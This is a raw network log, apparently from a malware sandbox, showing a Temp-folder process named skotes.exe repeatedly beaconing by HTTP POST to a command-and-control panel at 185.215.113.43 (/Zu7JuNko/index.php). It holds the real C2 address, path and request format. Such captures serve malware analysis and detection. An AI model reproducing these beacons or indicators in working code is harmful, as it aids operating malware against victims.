Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	62413	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:50.234951019 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:36:51.157747984 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	62414	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:52.815423012 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:36:53.725934982 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	62415	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:55.300185919 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:36:56.203871012 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	62416	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:57.830102921 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:36:58.750668049 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	62418	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:00.265697002 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:37:01.182197094 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	62419	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:02.814460993 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:37:03.747987986 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	62420	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:05.267914057 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:37:06.183485031 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	62421	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:07.799756050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:37:08.702760935 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	62422	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:10.219465971 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:37:11.157344103 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	62423	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:12.773601055 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:37:13.877916098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 13:37:13.879290104 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	62424	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:15.392946005 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:37:16.298165083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	62425	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:17.928659916 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:37:18.846779108 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	62426	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:20.364020109 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:37:21.280477047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	62427	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:22.909482956 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	62429	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:24.441473007 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:37:25.362854958 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	62430	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:27.005671978 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:37:27.903650045 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	62432	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:29.426235914 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:37:30.324836016 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	62433	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:31.955673933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:37:32.857919931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	62434	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:34.379317045 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:37:35.281930923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	62435	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:36.911484003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:37:37.823285103 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	62436	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:39.347385883 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:37:40.270585060 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	62437	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:41.908643007 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:37:42.833488941 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	62438	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:37:44.348650932 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
